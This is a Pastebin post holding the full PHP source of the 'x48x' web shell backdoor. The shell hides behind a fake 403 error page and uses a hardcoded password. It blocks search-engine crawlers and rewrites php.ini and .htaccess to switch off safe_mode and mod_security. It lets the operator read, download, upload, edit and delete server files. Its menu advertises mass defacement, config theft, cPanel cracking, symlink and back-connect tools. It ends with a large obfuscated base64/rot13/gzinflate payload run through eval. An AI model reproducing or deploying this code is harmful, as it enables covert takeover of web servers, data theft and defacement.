_Tuan2Fay_

x48x Web Shell

Aug 12th, 2017
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 34.38 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.     x48x Shell Backdoor
  5.     Recode by   : _Tuan2Fay_       
  6.     Version     : 1.0                                      
  7.     Team        : Garuda Security Hacker                   
  8.     Site        : https://blog.garudasecurityhacker.org
  9.     Facebook    : https://www.facebook.com/gshofficialpageindonesia                                        
  10. */
  11.  
  12. session_start();
  13. error_reporting(0);
  14. set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @clearstatcache();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @ini_set('output_buffering',0);
  21. @ini_set('display_errors', 0);
  22. $auth_pass = "6e728e1a015ec418f999496a5f9212b7"; // pass : melodynl
  23. $errorforbidden = $_SERVER['REQUEST_URI'];
  24. $color = "#00ff00";
  25. $default_action = 'FilesMan';
  26. $default_use_ajax = true;
  27. $default_charset = 'UTF-8';
  28. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  29.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  30.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  31.         header('HTTP/1.0 404 Not Found');
  32.         exit;
  33.     }
  34. }
  35.  
  36. function login_shell() {
  37. ?>
  38. <?php
  39. $errorforbidden = $_SERVER['REQUEST_URI'];
  40. ?>
  41. <html><head>
  42. <title>403 Forbidden</title>
  43. </head><body>
  44. <h1>Forbidden</h1>
  45. <p>You don't have permission to access <?php print $errorforbidden; ?>
  46.  on this server.</p>
  47. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  48. </body></html>
  49. <?php
  50. if(isset($_GET['LogOn']))
  51. {
  52. echo '<br><br><br><br><br><center><form style="background-color:red;" method="post"><input type="password" name="pass"></form></center>';
  53. }
  54. ?>
  55. <?php
  56. exit;
  57. }
  58. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  59.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  60.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  61.     else
  62.         login_shell();
  63. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  64.     @ob_clean();
  65.     $file = $_GET['file'];
  66.     header('Content-Description: File Transfer');
  67.     header('Content-Type: application/octet-stream');
  68.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  69.     header('Expires: 0');
  70.     header('Cache-Control: must-revalidate');
  71.     header('Pragma: public');
  72.     header('Content-Length: ' . filesize($file));
  73.     readfile($file);
  74.     exit;
  75. }
  76. ?>
  77. <?php
  78. if (file_exists("php.ini")){
  79. }else{
  80. $img = fopen('php.ini', 'w');
  81. $sec = "safe_mode = OFF
  82. disable_funtions = NONE";
  83. fwrite($img ,$sec);
  84. fclose($img);}
  85. if (file_exists(".htaccess")){
  86. }else{
  87. $img2 = fopen('.htaccess', 'w');
  88. $sec2 = "<IfModule mod_security.c>
  89.         SecFilterEngine Off
  90.         SecFilterScanPOST Off
  91.         </IfModule>";
  92. fwrite($img2 ,$sec2);
  93. fclose($img2);}
  94. $inids = @ini_get("disable_functions");
  95. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<font color='white'>Aman cuk :v</font></b>";
  96. if(get_magic_quotes_gpc()){
  97. foreach($_POST as $key=>$value){
  98. $_POST[$key] = stripslashes($value);
  99. }
  100. }
  101. echo '<!DOCTYPE HTML>
  102. <html>
  103. <head>
  104. <link href="https://fonts.googleapis.com/css?family=Kranky" rel="stylesheet">
  105. <link href="https://fonts.googleapis.com/css?family=Rye" rel="stylesheet">
  106. <link href="" rel="stylesheet" type="text/css">
  107. <title>x48x</title>
  108. <style>
  109. body{
  110.     font-family: Rye;
  111.     background-image: url("https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg");
  112.     color:purple;
  113.     background-attachment:fixed;
  114.     background-repeat:no-repeat;
  115.     background-position:center;
  116.     background-color:transparan;
  117.     -webkit-background-size: 90% 100%;
  118. }
  119. #menu{
  120.     margin:8px 2px 4px 2px;
  121.     font-family:Rye;
  122.     font-size:14px;
  123.     color:silver;
  124.     align:center;
  125. }
  126.  
  127. #menu a{
  128.     padding:3px 6px;
  129.     margin:1;
  130.     background:pink;
  131.     align:center;
  132.     text-decoration:none;
  133.     letter-spacing:2px;
  134.     -moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;  
  135. }
  136.  
  137. #menu a:hover{
  138.     background:black;
  139.     border-bottom:1px solid #ffffff;
  140.     border-top:1px solid #ffffff;  
  141. }
  142.  
  143. #content tr:hover{
  144.     background-color: pink;
  145.     text-shadow:0px 0px 10px #fff;
  146. }
  147.  
  148. #content .first{
  149.     background-color: pink;
  150. }
  151.  
  152. table{
  153.     border: 1px #000000 dotted;
  154. }
  155.  
  156. a{
  157.     color:violet;
  158.     text-decoration: none;
  159. }
  160.  
  161. a:hover{
  162.     color:blue;
  163.     text-shadow:0px 0px 10px #ffffff;
  164. }
  165.  
  166. input,select,textarea{
  167.     border: 1px #000000 solid;
  168.     -moz-border-radius: 5px;
  169.     -webkit-border-radius:5px;
  170.     border-radius:5px;
  171. }
  172. </style>
  173. </head>
  174. <body>
  175. <h1><center><font color="pink">[ &hearts; ] x48x Web Shell [ &hearts; ]</font></center></h1>
  176. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  177. <tr><td>';
  178. echo "System: <font color=violet>".php_uname()."</font><br>";
  179. echo "Disable Functions: $liatds";
  180. echo '<br><font color="purple">Path :</font> ';
  181. if(isset($_GET['path'])){
  182. $path = $_GET['path'];
  183. }else{
  184. $path = getcwd();
  185. }
  186. $path = str_replace('\\','/',$path);
  187. $paths = explode('/',$path);
  188.  
  189. foreach($paths as $id=>$pat){
  190. if($pat == '' && $id == 0){
  191. $a = true;
  192. echo '<a href="?path=/">/</a>';
  193. continue;
  194. }
  195. if($pat == '') continue;
  196. echo '<a href="?path=';
  197. for($i=0;$i<=$id;$i++){
  198. echo "$paths[$i]";
  199. if($i != $id) echo "/";
  200. }
  201. echo '">'.$pat.'</a>/';
  202. }
  203. if(isset($_FILES['file'])){
  204. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  205. echo '<script>alert("Upload Sukses Wots!");</script>';
  206. }else{
  207. echo '<script>alert("Gagal Upload Wots :(");</script>';
  208. }
  209. }
  210. echo '<form enctype="multipart/form-data" method="POST">
  211. <font color="purple">File Upload :</font> <input type="file" name="file" />
  212. <input type="submit" value="upload" />
  213. </form>';
  214. echo "<form method='post'>
  215. <font color='purple'>Command :</font>
  216. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  217. </form>";
  218. echo "</td></tr>";
  219. echo "</table><br>";
  220. echo "<center><table id='menu' width='700' border='0' cellpadding='3' cellspacing='1'><tr><td>";
  221. echo "[ <a href='?'>Rumah</a> ]<font color='pink'> ==</font>
  222. [ <a href='?path=$path&ez=crdp'>Create RDP</a> ]<font color='pink'> ==</font>
  223. [ <a href='?path=$path&ez=massde'>Mass Deface</a> ]<font color='pink'> ==</font>
  224. [ <a href='?path=$path&ez=conkill'>Config Killer</a> ]<font color='pink'> ==</font>
  225. [ <a href='?path=$path&ez=bypass'>Bypass</a> ]<br><br>
  226. [ <a href='?path=$path&ez=auto_edit_user'>User Changer</a> ]<font color='pink'> ==</font>
  227. [ <a href='?path=$path&ez=cpcrack'>CP Crack</a> ]<font color='pink'> ==</font>
  228. [ <a href='?path=$path&ez=salto'>Salto</a> ]<font color='pink'> ==</font>
  229. [ <a href='?path=$path&ez=sym'>Symlink</a> ]<font color='pink'> ==</font>
  230. [ <a href='?path=$path&ez=bceng'>Back C0nnect</a> ]<br><br>
  231. [ <a href='?path=$path&ez=jones'>Zone-H</a> ]<font color='pink'> ==</font>
  232. [ <a href='?path=$path&ez=zip'>Zip Menu</a> ]<font color='pink'> ==</font>
  233. [ <a href='?path=$path&ez=cadminer'>Create Adminer</a> ]<font color='pink'> ==</font>
  234. [ <a href='?path=$path&ez=about'>About</a> ]<font color='pink'> ==</font>
  235. [ <a href='?path=$path&go=cabs'>LogOut</a> ]
  236. ";
  237. echo "</td></tr></table></center>";
  238. if(isset($_GET['filesrc'])){
  239. echo "<tr><td>Current File : ";
  240. echo $_GET['filesrc'];
  241. echo '</tr></td></table><br />';
  242. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  243. }
  244. elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  245. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  246. if($_POST['opt'] == 'chmod'){
  247. if(isset($_POST['perm'])){
  248. if(chmod($_POST['path'],$_POST['perm'])){
  249. echo '<font color="white">Change Permission Berhasil</font><br/>';
  250. }else{
  251. echo '<font color="purple">Change Permission Gagal</font><br />';
  252. }
  253. }
  254. echo '<form method="POST">
  255. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  256. <input type="hidden" name="path" value="'.$_POST['path'].'">
  257. <input type="hidden" name="opt" value="chmod">
  258. <input type="submit" value="Go" />
  259. </form>';
  260. }elseif($_POST['opt'] == 'rename'){
  261. if(isset($_POST['newname'])){
  262. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  263. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  264. }else{
  265. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  266. }
  267. $_POST['name'] = $_POST['newname'];
  268. }
  269. echo '<form method="POST">
  270. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  271. <input type="hidden" name="path" value="'.$_POST['path'].'">
  272. <input type="hidden" name="opt" value="rename">
  273. <input type="submit" value="Go" />
  274. </form>';
  275. }elseif($_POST['opt'] == 'edit'){
  276. if(isset($_POST['src'])){
  277. $fp = fopen($_POST['path'],'w');
  278. if(fwrite($fp,$_POST['src'])){
  279. echo '<font color="white">Berhasil Edit File</font><br/>';
  280. }else{
  281. echo '<font color="purple">Gagal Edit File</font><br/>';
  282. }
  283. fclose($fp);
  284. }
  285. echo '<form method="POST">
  286. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  287. <input type="hidden" name="path" value="'.$_POST['path'].'">
  288. <input type="hidden" name="opt" value="edit">
  289. <input type="submit" value="Save" />
  290. </form>';
  291. }
  292. echo '</center>';
  293. }else{
  294. echo '</table><br/><center>';
  295. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  296. if($_POST['type'] == 'dir'){
  297. if(rmdir($_POST['path'])){
  298. echo '<font color="white">Directory Terhapus</font><br/>';
  299. }else{
  300. echo '<font color="purple">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  301. }
  302. }elseif($_POST['type'] == 'file'){
  303. if(unlink($_POST['path'])){
  304. echo '<font color="white">File Terhapus</font><br/>';
  305. }else{
  306. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  307. }
  308. }
  309. }
  310. //////////////ini toolsnya ya om :)
  311. eval(str_rot13(gzinflate(str_rot13(base64_decode('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